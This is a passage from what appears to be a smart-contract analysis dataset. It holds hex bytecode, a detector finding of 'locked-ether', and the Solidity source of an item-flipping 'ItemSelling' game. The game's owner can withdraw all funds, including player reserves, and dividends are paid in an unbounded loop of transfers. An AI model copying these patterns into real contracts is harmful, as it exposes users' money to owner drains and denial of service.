73ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611c5a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610cdf600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611600565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da8600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611600565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e71600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c5a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610f8d57600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816005600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561127957600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561130457600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816005600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b600061148e600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611600565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114dd60055484611600565b60058190555060008273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f85780601f106115cd576101008083540402835291602001916115f8565b820191906000526020600020905b8154815290600101906020018083116115db57829003601f168201915b505050505081565b600082821115151561161157600080fd5b818303905092915050565b6000611667600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611600565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f3600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c5a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080821115156117b557600080fd5b81838115156117c057fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156119a657808201518184015260208101905061198b565b50505050905090810190601f1680156119d35780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156119f557600080fd5b505af1158015611a09573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611a385750818382811515611a3557fe5b04145b1515611a4357600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611acc57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b9057600080fd5b505af1158015611ba4573d6000803e3d6000fd5b505050506040513d6020811015611bba57600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515611c7057600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cd157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820b1cb47b7131f82e2fe2397673f2acc20e3c0ec0d51e94ae7f894380b14afe78c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,035 |
0xc03dbb04e6e726d88e29cb161f342b2846c4b80c
|
pragma solidity ^0.4.17;
contract ItemSelling {
using SafeMath for uint256;
using ArrayUtils for uint256[];
/* Events */
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event BuyBack (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _itemId);
event Approval(address indexed _owner, address indexed _approved, uint256 _itemId);
event Dividends(address indexed _owner, uint _dividends);
/* Items */
struct Item {
uint256 id;
address owner;
uint256 startingPrice;
uint256 prevPrice;
uint256 price;
uint256 transactions;
}
/* Players */
struct Player {
address id;
uint256 transactions;
uint256 [] ownedItems;
uint256 lastPayedDividends;
mapping (uint => TxInfo) txHistory;
uint historyIdx;
}
struct TxInfo {
address owner;
uint256 itemId; // if type == 2 than itemId contains number of items for dividens
uint256 price; // if type == 2 than field price holds dividens amount for player
uint txType; // 0 - sold, 1 - bougth, 2 -dividens
uint timestamp;
}
mapping(uint => TxInfo) public txBuffer;
uint private txBufferMaxSize;
uint private txIdx = 0;
uint private playerHistoryMaxSize;
mapping (uint256 => Item) private items;
uint256 [] private itemList;
mapping(address => Player) private players;
address[] private playerList;
/* Administration utility */
address private owner;
mapping (address => bool) private admins;
bool private erc721Enabled = false;
mapping (uint256 => address) private approvedOfItem;
uint256 private DIVIDEND_TRANSACTION_NUMBER = 300;
uint256 private dividendTransactionCount = 0;
uint256 private dividendsAmount = 0;
uint256 private lastDividendsAmount = 0;
/* Next price calculation table */
uint256 private increaseLimit1 = 0.05 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
uint256 private fee = 6;
uint256 private fee100 = 106;
/* Contract body */
function ItemSelling() public {
owner = msg.sender;
admins[owner] = true;
txBufferMaxSize = 15;
txIdx = 0;
playerHistoryMaxSize = 15;
}
/* Modifiers */
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
/* Owner */
function setOwner (address _owner) onlyOwner() public {
owner = _owner;
}
/* Admins functions */
function addAdmin (address _admin) onlyOwner() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyOwner() public {
delete admins[_admin];
}
function isAdmin (address _admin) public view returns (bool _isAdmin) {
return admins[_admin];
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
function getBalance() onlyOwner view public returns (uint256 _balance) {
return address(this).balance;
}
/* Items */
function addItem(uint256 _itemId, uint256 _price, address _owner) onlyAdmins public {
require(_price > 0);
require(items[_itemId].id == 0);
Item storage item = items[_itemId];
item.id = _itemId;
item.owner = _owner;
item.startingPrice = _price;
item.prevPrice = _price;
item.price = _price;
item.transactions = 0;
itemList.push(_itemId) - 1;
}
function addItems (uint256[] _itemIds, uint256[] _prices, address _owner) onlyAdmins() public {
require(_itemIds.length == _prices.length);
for (uint256 i = 0; i < _itemIds.length; i++) {
addItem(_itemIds[i], _prices[i], _owner);
}
}
function getItemIds() view public returns (uint256[]) {
return itemList;
}
function getItemIdsPagable (uint256 _from, uint256 _pageSize) public view returns (uint256[] _items) {
uint256[] memory page = new uint256[](_pageSize);
for (uint256 i = 0; i < _pageSize; i++) {
page[i] = itemList[_from + i];
}
return page;
}
function itemExists(uint256 _itemId) view public returns (bool _exists) {
return items[_itemId].price > 0;
}
function getItem(uint256 _itemId) view public returns (uint256, address, uint256, uint256, uint256, uint256, uint256, uint256) {
Item storage item = items[_itemId];
return (item.id, item.owner, item.startingPrice, item.price, calculateNextPrice(item.price), buybackPriceOf(_itemId), item.transactions, item.prevPrice);
}
function totalItems() public view returns (uint256 _itemsNumber) {
return itemList.length;
}
function getItemsByOwner (address _owner) public view returns (uint256[] _itemsIds) {
return players[_owner].ownedItems;
}
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(100).mul(fee100).div(100);
} else if (_price < increaseLimit2) {
return _price.mul(140).div(100).mul(fee100).div(100);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(100).mul(fee100).div(100);
} else if (_price < increaseLimit4) {
return _price.mul(120).div(100).mul(fee100).div(100);
} else {
return _price.mul(119).div(100).mul(fee100).div(100);
}
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(fee).div(fee100); // 6%
} else if (_price < increaseLimit2) {
return _price.mul(fee).div(fee100); // 6%
} else if (_price < increaseLimit3) {
return _price.mul(fee).div(fee100); // 6%
} else if (_price < increaseLimit4) {
return _price.mul(fee).div(fee100); // 6%
} else {
return _price.mul(fee).div(fee100); // 6%
}
}
function buybackPriceOf(uint256 _itemId) public view returns (uint256 _buybackPrice){
uint256 price = items[_itemId].price;
uint256 startPrice = items[_itemId].startingPrice;
uint256 bp = price.div(10); // 10% = price * 10 / 100 or price / 10
uint256 sp = startPrice.mul(100).div(fee100);
return bp < sp ? sp : bp;
}
/* Players */
function createPlayerIfNeeded(address _playerId) internal {
if (players[_playerId].id == address(0)) {
Player storage player = players[_playerId];
player.id = _playerId;
player.transactions = 0;
player.ownedItems = new uint256[](0);
player.historyIdx = 0;
player.lastPayedDividends = 0;
playerList.push(_playerId) -1;
}
}
function getPlayer(address _playerId) view public returns (address, uint256, uint256, uint256, uint256) {
return (players[_playerId].id, players[_playerId].ownedItems.length, calculatePlayerValue(_playerId), players[_playerId].transactions, players[_playerId].lastPayedDividends);
}
function getPlayerIds() view public returns (address[]) {
return playerList;
}
function calculatePlayerValue(address _playerId) view public returns(uint256 _value) {
uint256 value = 0;
for(uint256 i = 0; i < players[_playerId].ownedItems.length; i++){
value += items[players[_playerId].ownedItems[i]].price;
}
return value;
}
function addPlayerTxHistory(address _playerId, uint256 _itemId, uint256 _price, uint _txType, uint _timestamp) internal {
if (!isAdmin(_playerId)){
Player storage player = players[_playerId];
player.txHistory[player.historyIdx].owner = _playerId;
player.txHistory[player.historyIdx].itemId = _itemId;
player.txHistory[player.historyIdx].price = _price;
player.txHistory[player.historyIdx].txType = _txType;
player.txHistory[player.historyIdx].timestamp = _timestamp;
player.historyIdx = player.historyIdx < playerHistoryMaxSize - 1 ? player.historyIdx + 1 : 0;
}
}
// history
function playerTransactionList(address _playerId)
view
public
returns (uint256[] _itemIds, uint256[] _prices, uint[] _types, uint[] _ts )
{
// _owners = new address[](playerHistoryMaxSize);
_itemIds = new uint256[](playerHistoryMaxSize);
_prices = new uint256[](playerHistoryMaxSize);
_types = new uint256[](playerHistoryMaxSize);
_ts = new uint[](playerHistoryMaxSize);
uint offset = playerHistoryMaxSize - 1;
if (players[_playerId].historyIdx > 0) {offset = players[_playerId].historyIdx - 1;}
for (uint i = 0; i < playerHistoryMaxSize; i++){
// _owners[i] = txBuffer[offset].owner;
_itemIds[i] = players[_playerId].txHistory[offset].itemId;
_prices[i] = players[_playerId].txHistory[offset].price;
_types[i] = players[_playerId].txHistory[offset].txType;
_ts[i] = players[_playerId].txHistory[offset].timestamp;
offset = offset > 0 ? offset - 1 : playerHistoryMaxSize - 1;
}
}
/* Buy */
function buy (uint256 _itemId) payable public {
Item storage item = items[_itemId];
require(item.price > 0);
require(item.owner != address(0));
require(msg.value >= item.price);
require(item.owner != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = item.owner;
address newOwner = msg.sender;
uint256 price = item.price;
uint256 excess = msg.value.sub(price);
createPlayerIfNeeded(newOwner);
_transfer(oldOwner, newOwner, _itemId);
addTxInBuffer(newOwner, _itemId, price, 1, now);
addPlayerTxHistory(newOwner, _itemId, price, 1, now);
addPlayerTxHistory(oldOwner, _itemId, price, 0, now);
item.prevPrice = price;
item.price = calculateNextPrice(price);
item.transactions += 1;
players[newOwner].transactions += 1;
emit Bought(_itemId, newOwner, price);
emit Sold(_itemId, oldOwner, price);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(price);
// Transfer payment to old owner minus the developer's cut.
if (!isAdmin(oldOwner)){
oldOwner.transfer(price.sub(devCut));
}
if (excess > 0) {
newOwner.transfer(excess);
}
proceedDividends(devCut);
handleDividends();
}
function buyback(uint256 _itemId) public {
Item storage item = items[_itemId];
require(item.price > 0);
require(item.owner != address(0));
require(item.owner == msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
uint256 bprice = buybackPriceOf(_itemId);
require(address(this).balance >= bprice);
address oldOwner = msg.sender;
address newOwner = owner;
_transfer(oldOwner, newOwner, _itemId);
addTxInBuffer(oldOwner, _itemId, bprice, 0, now);
addPlayerTxHistory(oldOwner, _itemId, bprice, 0, now);
item.price = calculateNextPrice(bprice);
oldOwner.transfer(bprice);
emit Sold(_itemId, oldOwner, bprice);
emit BuyBack(_itemId, oldOwner, bprice);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(itemExists(_itemId));
require(items[_itemId].owner == _from);
require(_to != address(0));
require(_to != address(this));
items[_itemId].owner = _to;
// approvedOfItem[_itemId] = 0;
if (!isAdmin(_to)) {
players[_to].ownedItems.push(_itemId) -1;
}
if (!isAdmin(_from)) {
uint256 idx = players[_from].ownedItems.indexOf(_itemId);
players[_from].ownedItems.remove(idx);
}
emit Transfer(_from, _to, _itemId);
}
/* Dividens */
function getLastDividendsAmount() view public returns (uint256 _dividends) {
return lastDividendsAmount;
}
function setDividendTransactionNumber(uint256 _txNumber) onlyAdmins public {
DIVIDEND_TRANSACTION_NUMBER = _txNumber;
}
function getDividendTransactionLeft () view public returns (uint256 _txNumber) {
return DIVIDEND_TRANSACTION_NUMBER - dividendTransactionCount;
}
function getTotalVolume() view public returns (uint256 _volume) {
uint256 sum = 0;
for (uint256 i = 0; i < itemList.length; i++){
if (!isAdmin(items[itemList[i]].owner)) {
sum += items[itemList[i]].price;
}
}
return sum;
}
function proceedDividends(uint256 _devCut) internal {
dividendTransactionCount += 1;
dividendsAmount += _devCut.div(5); // *0.2
}
function handleDividends() internal {
if (dividendTransactionCount < DIVIDEND_TRANSACTION_NUMBER ) return;
lastDividendsAmount = dividendsAmount;
dividendTransactionCount = 0;
dividendsAmount = 0;
uint256 totalCurrentVolume = getTotalVolume();
uint256 userVolume = 0;
uint256 userDividens = 0;
for (uint256 i = 0; i < playerList.length; i++) {
userVolume = calculatePlayerValue(playerList[i]);
players[playerList[i]].lastPayedDividends = 0;
if (userVolume > 0) {
userDividens = userVolume.mul(lastDividendsAmount).div(totalCurrentVolume);
players[playerList[i]].lastPayedDividends = userDividens;
addPlayerTxHistory(playerList[i], players[playerList[i]].ownedItems.length, userDividens, 2, now);
emit Dividends(playerList[i], userDividens);
playerList[i].transfer(userDividens);
}
userVolume = 0;
userDividens = 0;
}
}
/* Withdraw */
function hardWithdrawAll() onlyOwner public {
owner.transfer(address(this).balance);
}
function withdrawAmount(uint256 _amount) onlyOwner public {
require(_amount <= address(this).balance);
owner.transfer(_amount);
}
function calculateAllBuyBackSum() view public returns (uint256 _buyBackSum) {
uint256 sum = 0;
for (uint256 i = 0; i < itemList.length; i++) {
if (!isAdmin(items[itemList[i]].owner)) {
sum += buybackPriceOf(itemList[i]);
}
}
return sum;
}
function softWithdraw() onlyOwner public {
uint256 buyBackSum = calculateAllBuyBackSum();
uint256 requiredFunds = dividendsAmount + buyBackSum;
uint256 withdrawal = address(this).balance - requiredFunds;
require(withdrawal > 0);
owner.transfer(withdrawal);
}
/* ERC721 */
function approvedFor(uint256 _itemId) public view returns (address _approved) {
return approvedOfItem[_itemId];
}
function approve(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender != _to);
require(itemExists(_itemId));
require(items[_itemId].owner == msg.sender);
if (_to == 0) {
if (approvedOfItem[_itemId] != 0) {
delete approvedOfItem[_itemId];
emit Approval(msg.sender, 0, _itemId);
}
} else {
approvedOfItem[_itemId] = _to;
emit Approval(msg.sender, _to, _itemId);
}
}
/* Transferring a country to another owner will entitle the new owner the profits from `buy` */
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == items[_itemId].owner);
createPlayerIfNeeded(_to);
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public {
require(approvedFor(_itemId) == msg.sender);
createPlayerIfNeeded(_to);
_transfer(_from, _to, _itemId);
}
/* transactions */
function addTxInBuffer(address _owner, uint256 _itemId, uint256 _price, uint _txType, uint _timestamp) internal {
txBuffer[txIdx].owner = _owner;
txBuffer[txIdx].itemId = _itemId;
txBuffer[txIdx].price = _price;
txBuffer[txIdx].txType = _txType;
txBuffer[txIdx].timestamp = _timestamp;
txIdx = txIdx < txBufferMaxSize - 1 ? txIdx + 1 : 0;
}
function transactionList()
view
public
returns (address[] _owners, uint256[] _itemIds, uint256[] _prices, uint[] _types, uint[] _ts )
{
_owners = new address[](txBufferMaxSize);
_itemIds = new uint256[](txBufferMaxSize);
_prices = new uint256[](txBufferMaxSize);
_types = new uint256[](txBufferMaxSize);
_ts = new uint[](txBufferMaxSize);
uint offset = txBufferMaxSize - 1;
if (txIdx > 0) { offset = txIdx - 1;}
for (uint i = 0; i < txBufferMaxSize; i++){
_owners[i] = txBuffer[offset].owner;
_itemIds[i] = txBuffer[offset].itemId;
_prices[i] = txBuffer[offset].price;
_types[i] = txBuffer[offset].txType;
_ts[i] = txBuffer[offset].timestamp;
offset = offset > 0 ? offset - 1 : txBufferMaxSize - 1;
}
}
/* Util */
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library ArrayUtils {
function remove(uint256[] storage self, uint256 _removeIdx) internal {
if (_removeIdx < 0 || _removeIdx >= self.length) return;
for (uint i = _removeIdx; i < self.length - 1; i++){
self[i] = self[i + 1];
}
self.length--;
}
function indexOf(uint[] storage self, uint value) internal view returns (uint) {
for (uint i = 0; i < self.length; i++){
if (self[i] == value) return i;
}
return uint(-1);
}
}
|
0x6080604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063016aba15146101d25780630562b9f7146101ff57806308b6bb561461022c578063095ea7b31461039c5780630b9d98e9146103e957806312065fe01461041457806313af40351461043f5780631785f53c1461048257806323b872dd146104c557806324d7806c14610532578063258c5ddd1461058d5780632799276d146105a45780632a6dd48f146105cf5780632c67a8e51461063c5780633129e773146106d45780634db6397f14610772578063515da4b9146107c95780635c12cd4b1461095557806365121205146109f45780636f94e26014610a355780637048027514610a7657806371dc761e14610ab957806379a9fa1c14610ad0578063843bd64114610afd5780638db261e014610b425780639415931d14610b595780639874fb6714610b84578063a9059cbb14610c0d578063aef41e3a14610c5a578063c066bd1a14610ce6578063d96a094a14610d3d578063da883e6a14610d5d578063dd3129a914610e26578063e08503ec14610e51578063ef0614b914610e92578063f0e42a1f14610efe578063fc5fc34514610f29575b600080fd5b3480156101de57600080fd5b506101fd60048036038101908080359060200190929190505050610f95565b005b34801561020b57600080fd5b5061022a60048036038101908080359060200190929190505050610ff7565b005b34801561023857600080fd5b5061026d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110e5565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156102bc5780820151818401526020810190506102a1565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102fe5780820151818401526020810190506102e3565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015610340578082015181840152602081019050610325565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015610382578082015181840152602081019050610367565b505050509050019850505050505050505060405180910390f35b3480156103a857600080fd5b506103e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611465565b005b3480156103f557600080fd5b506103fe6116f9565b6040518082815260200191505060405180910390f35b34801561042057600080fd5b506104296117bb565b6040518082815260200191505060405180910390f35b34801561044b57600080fd5b50610480600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611836565b005b34801561048e57600080fd5b506104c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118d6565b005b3480156104d157600080fd5b50610530600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611984565b005b34801561053e57600080fd5b50610573600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119fa565b604051808215151515815260200191505060405180910390f35b34801561059957600080fd5b506105a2611a50565b005b3480156105b057600080fd5b506105b9611b5b565b6040518082815260200191505060405180910390f35b3480156105db57600080fd5b506105fa60048036038101908080359060200190929190505050611b68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561064857600080fd5b5061067d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ba5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106c05780820151818401526020810190506106a5565b505050509050019250505060405180910390f35b3480156106e057600080fd5b506106ff60048036038101908080359060200190929190505050611c3f565b604051808981526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018681526020018581526020018481526020018381526020018281526020019850505050505050505060405180910390f35b34801561077e57600080fd5b506107b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cd2565b6040518082815260200191505060405180910390f35b3480156107d557600080fd5b506107de611db7565b60405180806020018060200180602001806020018060200186810386528b818151815260200191508051906020019060200280838360005b83811015610831578082015181840152602081019050610816565b5050505090500186810385528a818151815260200191508051906020019060200280838360005b83811015610873578082015181840152602081019050610858565b50505050905001868103845289818151815260200191508051906020019060200280838360005b838110156108b557808201518184015260208101905061089a565b50505050905001868103835288818151815260200191508051906020019060200280838360005b838110156108f75780820151818401526020810190506108dc565b50505050905001868103825287818151815260200191508051906020019060200280838360005b8381101561093957808201518184015260208101905061091e565b505050509050019a505050505050505050505060405180910390f35b34801561096157600080fd5b50610996600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612067565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b348015610a0057600080fd5b50610a1f600480360381019080803590602001909291905050506121ba565b6040518082815260200191505060405180910390f35b348015610a4157600080fd5b50610a60600480360381019080803590602001909291905050506122d5565b6040518082815260200191505060405180910390f35b348015610a8257600080fd5b50610ab7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612369565b005b348015610ac557600080fd5b50610ace612420565b005b348015610adc57600080fd5b50610afb60048036038101908080359060200190929190505050612499565b005b348015610b0957600080fd5b50610b2860048036038101908080359060200190929190505050612753565b604051808215151515815260200191505060405180910390f35b348015610b4e57600080fd5b50610b57612775565b005b348015610b6557600080fd5b50610b6e612853565b6040518082815260200191505060405180910390f35b348015610b9057600080fd5b50610baf6004803603810190808035906020019092919050505061285d565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b348015610c1957600080fd5b50610c58600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506128b3565b005b348015610c6657600080fd5b50610c8f6004803603810190808035906020019092919080359060200190929190505050612956565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610cd2578082015181840152602081019050610cb7565b505050509050019250505060405180910390f35b348015610cf257600080fd5b50610d3b6004803603810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129ea565b005b610d5b60048036038101908080359060200190929190505050612b33565b005b348015610d6957600080fd5b50610e246004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f06565b005b348015610e3257600080fd5b50610e3b612fca565b6040518082815260200191505060405180910390f35b348015610e5d57600080fd5b50610e7c6004803603810190808035906020019092919050505061307e565b6040518082815260200191505060405180910390f35b348015610e9e57600080fd5b50610ea7613252565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610eea578082015181840152602081019050610ecf565b505050509050019250505060405180910390f35b348015610f0a57600080fd5b50610f136132aa565b6040518082815260200191505060405180910390f35b348015610f3557600080fd5b50610f3e6132b8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610f81578082015181840152602081019050610f66565b50505050905001925050506